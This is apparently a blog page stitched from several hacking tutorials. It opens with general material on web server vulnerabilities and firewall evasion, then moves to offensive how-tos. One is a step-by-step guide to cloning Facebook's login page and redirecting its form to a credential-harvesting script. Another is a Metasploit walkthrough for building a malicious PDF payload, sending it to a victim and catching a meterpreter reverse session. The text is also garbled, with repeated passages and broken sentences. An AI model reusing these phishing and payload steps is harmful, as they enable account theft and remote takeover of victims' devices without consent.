Web server vulnerabilities
A web server is a program that stores files (usually web pages) and makes them accessible via the network or the internet. A web server requires both hardware and software. Attackers usually target the exploits in the software to gain authorized entry to the server. Let’s look at some of the common vulnerabilities that attackers take advantage of.
 |
| Mysql server |
Customers usually turn to the internet to get information and buy products and services. Towards that end, most organizations have websites.Most websites store valuable information such as credit card numbers, email address and passwords, etc. This has made them targets to attackers. Defaced websites can also be used to communicate religious or political ideologies etc.
In this tutorial, we will introduce you toweb servers hacking techniques and how you can protect servers from such attacks.
In this tutorial, you will learn:
- Web server vulnerabilities
- Types of Web Servers
- Types of Attacks against Web Servers
- Effects of successful attacks
- Web server attack tools
- How to avoid attacks on Webserver
- Hacking Activity: Hack a WebServer
Web server vulnerabilities
A web server is a program that stores files (usually web pages) and makes them accessible via the network or the internet. A web server requires both hardware and software. Attackers usually target the exploits in the software to gain authorized entry to the server. Let’s look at some of the common vulnerabilities that attackers take advantage of.
- Default settings– These settings such as default user id and passwords can be easily guessed by the attackers. Default settings might also allow performing certain tasks such as running commands on the server which can be exploited.
- Misconfigurationof operating systems and networks – certain configuration such as allowing users to execute commands on the server can be dangerous if the user does not have a good password.
- Bugs in the operating system and web servers– discovered bugs in the operating system or web server software can also be exploited to gain unauthorized access to the system.
In additional to the above-mentioned web server vulnerabilities, the following can also led to unauthorized access
- Lack of security policy and procedures– lack of a security policy and procedures such as updating antivirus software, patching the operating system and web server software can create security loop holes for attackers.
 |
| Mysql database |
Types of Web Servers
The following is a list of the common web servers
- Apache– This is the commonly used web server on the internet. It is cross platform but is it’s usually installed on Linux. Most PHP websites are hosted on Apache servers.
- Internet Information Services (IIS)– It is developed by Microsoft. It runs on Windows and is the second most used web server on the internet. Most asp and aspx websites are hosted on IIS servers.
- Apache Tomcat – Most Java server pages (JSP) websites are hosted on this type of web server.
- Other web servers – These include Novell's Web Server and IBM’s Lotus Domino servers.
Types of Attacks against Web Servers
Directory traversal attacks– This type of attacks exploits bugs in the web server to gain unauthorized access to files and folders that are not in the public domain. Once the attacker has gained access, they can download sensitive information, execute commands on the server or install malicious software.
- Denial of Service Attacks– With this type of attack, the web server may crash or become unavailable to the legitimate users.
- Domain Name System Hijacking – With this type of attacker, the DNS setting are changed to point to the attacker’s web server. All traffic that was supposed to be sent to the web server is redirected to the wrong one.
- Sniffing– Unencrypted data sent over the network may be intercepted and used to gain unauthorized access to the web server.
- Phishing– With this type of attack, the attack impersonates the websites and directs traffic to the fake website. Unsuspecting users may be tricked into submitting sensitive data such as login details, credit card numbers, etc.
- Pharming– With this type of attack, the attacker compromises the Domain Name System (DNS) servers or on the user computer so that traffic is directed to a malicious site.
- Defacement– With this type of attack, the attacker replaces the organization’s website with a different page that contains the hacker’s name, images and may include background music and messages.
Effects of successful attacks
- An organization’s reputation can be ruined if the attacker edits the website content and includes malicious information or links to a porn website
- The web server can be used to install malicious software on users who visit the compromised website. The malicious software downloaded onto the visitor’s computer can be a virus, Trojan or Botnet Software, etc.
- Compromised user data may be used for fraudulent activities which may lead to business loss or lawsuits from the users who entrusted their details with the organization
Web server attack tools
Some of the common web server attack tools include;
- Metasploit– this is an open source tool for developing, testing and using exploit code. It can be used to discover vulnerabilities in web servers and write exploits that can be used to compromise the server.
- MPack– this is a web exploitation tool. It was written in PHP and is backed by MySQL as the database engine. Once a web server has been compromised using MPack, all traffic to it is redirected to malicious download websites.
- Zeus– this tool can be used to turn a compromised computer into a bot or zombie. A bot is a compromised computer which is used to perform internet-based attacks. A botnet is a collection of compromised computers. The botnet can then be used in a denial of service attack or sending spam mails.
- Neosplit – this tool can be used to install programs, delete programs, replicating i
How to avoid attacks on Web server
An organization can adopt the following policy to protect itself against web server attacks.
- Patch management– this involves installing patches to help secure the server. A patch is an update that fixes a bug in the software. The patches can be applied to the operating system and the web server system.
- Secure installation and configuration of the operating system
- Secure installation and configuration of the web server software
- Vulnerability scanning system– these include tools such as Snort, NMap, Scanner Access Now Easy (SANE)
- Firewalls can be used to stop simple DoS attacks by blocking all traffic coming the identify source IP addresses of the attacker.
- Antivirus software can be used to remove malicious software on the server
- Disabling Remote Administration
- Default accounts and unused accounts must be removed from the system
- Default ports & settings (like FTP at port 21) should be changed to custom port & settings (FTP port at 5069)
HOW HACKERS GET THROUGH FIRewall
 |
| Firewalls works as defences syatem |
Once you understand how hackers get around firewalls, you are in a much better position to defend your business from their cyber attacks.
Network security solutions are getting more and more sophisticated every day, offering rapidly increasing levels of protection in ever more efficient and affordable ways. Yet sometimes, cybercriminals can still find a way into the most well-defended IT infrastructures.
 |
| Firewall works |
Ever wondered how they manage that? What vulnerabilities do hackers use to get around seemingly watertight network security defences? And what security solutions are available to counteract them?
Here are six common methods that cybercriminals use to circumvent network security. But it’s not all doom and gloom – we’ll discuss how to keep these risks at bay too.
1. ENCRYPTED INJECTION ATTACKS
This kind of exploit is particularly dangerous for companies with older firewalls or those that don’t use a featurecalled “deeppacketinspection” or DPI.
Put simply, a firewall with DPI will inspect all of the data packets entering and leaving your network to check for malicious code, malware, and other network security threats.
Encrypted injection attacks are usually delivered via phishing emails. The email will trick the user into clicking a certain link that injects encrypted code onto the machine – this can be regular malware, fileless malware, or some kind of data access backdoor.
The phishing link may also ask the user for login credentials (or other sensitive information) as well as delivering its encrypted payload for a cybercrime double-whammy.
Older software systems are less well equipped to adequately inspect and filter encrypted traffic. Modern DPI-enabled firewalls stand a much better chance of dealing with encrypted threats, but as yet unidentified (“zero-day”) threats can still slip through the net.
The fight against encrypted injection attacks is a great example of how cybersecurity training, modern firewall solutions, and strong antivirus protections work together hand in hand.
 |
| Firewall |
2. DNS LEAKING
A firewall’s job isn’t just to inspect incoming traffic, it’s there to make sure nothing unexpected leaves the network too.
In our experience, an alarming number of enterprise firewalls are configured to inspect traffic coming in but neglect to keep an eye on the data that’s leaving the network. This is a dream scenario for a cybercriminal!
Although getting into the network may prove a challenge, once they’re in they can leak data back out however they wish. If your firewall isn’t inspecting what’s leaving the network, it won’t detect a problem.
A smaller number of organisations have a slightly savvier network security setup, but one that’s still open to abuse. These networks limit the kinds of traffic that can leave the network, only allowing outgoing traffic via three protocols – HTTP, HTTPS, and DNS which are all necessary for internet access. Though this method means that a hacker wouldn’t have the same choice of exits as in our previous scenario, data can still be leaked through DNS – albeit rather slowly.
If your firewall is allowing all outgoing DNS movement, then this could become an issue. So, make sure that your firewall is covering all of your bases – both incoming and outgoing.
3. NEIGHBOUR WI-FI ACCESS POINTS
If your organisation’s Wi-Fi is sometimes a little slow or if staff want to circumvent your network security policies, members of your team may simply switch to an available open Wi-Fi network that’s nearby.
For example, if your office is next door to a coffee shop, it’s likely that your staff will occasionally hop between the coffee shop’s open network and your (hopefully) secure one.
However, this can open up a whole can of cybersecurity worms. When a member of your team joins a network that is outside of your organisation’s direct control, they’re actively circumventing your company’s security policies.
You see, anybody can connect to an open network, including cybercriminals. If a hacker is trying to target your company, they may join a neighbouring open network and wait for one of your team to join that network too.
Once a team member joins the open network, there’s hypothetically nothing in place to stop the hacker from listening in on their communications or even attempting to access your network via the user’s device.
Two cybersecurity systems offer solutions here: Virtual Private Networks (VPNs) and Intrusion Prevention Systems (IPSs).
 |
| Firewall hacking |
Virtual Private Networks
VPNs are a must if your staff frequently access external networks as they encrypt all traffic between their device and your network. If someone wanted to snoop in on communications, all they’d see is useless gibberish.
Intrusion Prevention Systems
IPSs continually monitor your network for potentially out of the ordinary or unnecessary network behaviour. Once detected, the IPS will either block this behaviour or alert an engineer to investigate.
4. IOT ATTACKSy
If you use a smartwatch or voice-operated smart speaker, then you’re already somewhat familiar with the “Internet of Things” or IoT.
Many businesses are welcoming internet-enabled devices – of wildly varying complexity – into the workplace, including cloud-enriched access control systems and smart lighting and heating solutions.
Incorporating online features into these devices gives us a level of convenience and control that we would have only dreamed of 20 years ago. Yet, without proper protections, IoT systems have their downsides.
In 2013, US retailer Target suffered a crippling data breach that exposed millions of customer records, including credit card details.
Instead of hacking Target’s networks directly, the cybercriminals responsible infiltrated their air conditioning supplier. The air-con systems used by the retailer were internet-enabled and this – alongside a spot of phishing – is how the hackers made their way into Target’s systems.
The problem with IoT device software is that it’s often lightweight, scarcely including any kind of security measures. With this in mind, you should NEVER connect an IoT device directly to the internet – no matter how small or innocuous the device may be. Always make sure it’s safely “behind” your firewall, IPS, and any other cybersecurity solutions that you use.
5. SOCIAL ENGINEERING
Even with the most stringent network security measures in place, hackers can still find a way into your network. Skilled cybercriminals can easily use our psychology against us – leaning on a kind of psychology known as “social engineering”.
Put simply, it’s the study of manipulating people into doing things, through persuasion, coercion, loss aversion, curiosity, or sometimes outright threats and blackmail. It’s almost like “people hacking”.
Sending an authentic-looking phishing email is a common way of extorting information, and is an example of social engineering. A cybercriminal may deliberately leave an infected USB stick in the company car park to tap into our innate, natural curiosity – not to mention our innate, natural sense of “finder’s keepers”; this is called “baiting”.
Attacks can also happen over the phone, with a criminal calling in and pretending to be a supplier needing confidential information to verify someone’s identity, for example. There are numerous social engineering methods out there, so it pays to stay alert.
This video shows how easy it is for an informed, confident social engineer to access worryingly confidential information:
6. STEGANOGRAPHY
This is a big word for something quite simple.
Where cryptography is the study of encrypting and decrypting messages, steganography is the study of concealing the fact that a message has been sent at all. Except we’re not just talking about “messages” here – we’re talking about security exploits and malware.
All manner of threats can be hidden in seemingly innocent-looking files. Whether it’s a file purporting to be a legitimate app installer, a video of a cute puppy, or the latest meme doing the rounds, that file could secretly be laden with unknown nasties.
When a payload has been crudely inserted into the innocent “carrier” file, it’s still possible that it will be picked up by up-to-date security software. So hackers need to get a bit smarter.
How To Hack Facebook ID Using Phishing Attack.
In this method, we created a fake Facebook page home page that looks like the original and uploads it to a web hosting site so anyone can access it via the Internet. As you know when we get something, we receive links or URLs to that particular file, so we have a link to my website hosting page and this link is called a phishing link.
As so on as he/she enter your username and password blindly all of their details automatically sent to the hacker (like you), below the steps below tell how?
In this “Hack Facebook ID Using Phishing Attack” tutorial using the phishing method, you learn how hackers access Facebook with the help of phishing and also learn how you can create phishing pages for free.
👉👉Now let’s start our tutorial which is all about how to make a Facebook phishing page Hack Facebook ID Using Phishing Attack without knowing any type of coding.
Step:1) first of all Go to Facebook.com From your computer’s Mozilla Firefox web browser.
Step:2) After loading the full Facebook page simply make right-click on the blank area, you will see the option view source page, simply click on that. (see below picture for better understanding )
Step:3) now a pop-up window will be open with the source code of the Facebook page, Simply you need to Copy the full code by using Ctrl+c from your windows system.
Step:4) Now open the notepad and paste all code here which copy in step 3 (Notepad is a simple utility inbuilt in windows for editing the text so I can say it is a text editor)
Step:5) Now open a search box in notepad by pressing CTRL+F and type ACTION. (see below picture)
Step:6) There are many action words in the code but you’ll need to search action till you get like below code
action=” https://www.facebook.com/login.php?login_attempt=1 “
![](data:image/svg+xml;charset=utf-8,<svg height="248px" width="696px" xmlns="http://www.w3.org/2000/svg" version="1.1"/>)
=”hack.PHP”
![](data:image/svg+xml;charset=utf-8,<svg height="391px" width="696px" xmlns="http://www.w3.org/2000/svg" version="1.1"/>)
Step:8) Now save it on your desktop with the name index.htm
Step:9) Now your phishing page is ready.it will look like the pic given below
ANDRAX is a powerful hacking os for android.
ANDRAX has been fully redefined and reloaded on 05/10/2018 (DD/MM/YYYY) open to the international public.
ANDRAX enable to all Android device with root access enabled and a good unlocked rom become a weapon for advanced Penetration Testing.
 |
| Android supports andrex |
ANDRAX promotes the use of more than 900 advanced tools for Hacking, Cracking and Penetration Testing.
Hacking Android Using Metasploit via a PDF File
😀😀
 |
| Termux works as terminal for android |
Requirements :-
Termux app( Download it from play store.
Install Metasploit Framework in TermuX
TermuX should be allowed to use External Storage (For this enter the command : “ termux-setup-storage ”).
(Recommended not necessary) Use Hacker`s Keyboard 40 for entering commands in TermuX easily.
Step 2 :- Creating the Evil PDF (Payload)
Type the commands given below or simply copy paste them one by one to create the PDF File.
👉use exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs
Then you have to set your Localhost. For this you will need your IP Address, to check your IP Address type
👉ifconfig
in new seesion on termux or in another terminal window. Now come to your metasploit console and set your Localhost like this –
👉set LHOST 192.168.0.0
Replace the IP Address given in above command by your own IP Address
Now its time to setup port for this enter this command –
👉set LPORT 4444
You are free to use any port you want like 4564, 8080 etc.
Now its time to generate the Evil PDF File do this by below command –
👉set filename MyDocument.pdf
Here, you are also free to use any name you want just put it in place of MyDocument but be sure to put .pdf at the end of its name.
Now the last command is for final creation of file do this by typing this command –
👉exploit
Now within a second a message will be displayed saying that your PDF File is created at any default location. First copy that PDF File to your either Internal or External storage like this
👉mv <fille_location> <new_location>
And now you are done with creation part. Send it to any person that you want to hack. As soon as he/she will open that pdf file you will get the metasploit session.
👉Step 3 :- Exploitation
First open your metasploit console by typing
👉msfconsole
and then start writing below mentioned command –
👉use exploit/multi/handler/
👉set LHOST <your_IP>
👉set LPORT 4444
👉exploit
Note – Make sure to enter same IP and Port as you entered above in Step 2.
It will some time and then BOOM you will get meterpreter session. If such output appears then you got access to victim’s phone.
Advantages of Network Vulnerability Testing with Metasploit
| Metasploit vulnerability assessment |
Subscribe To
Posts
All Comments
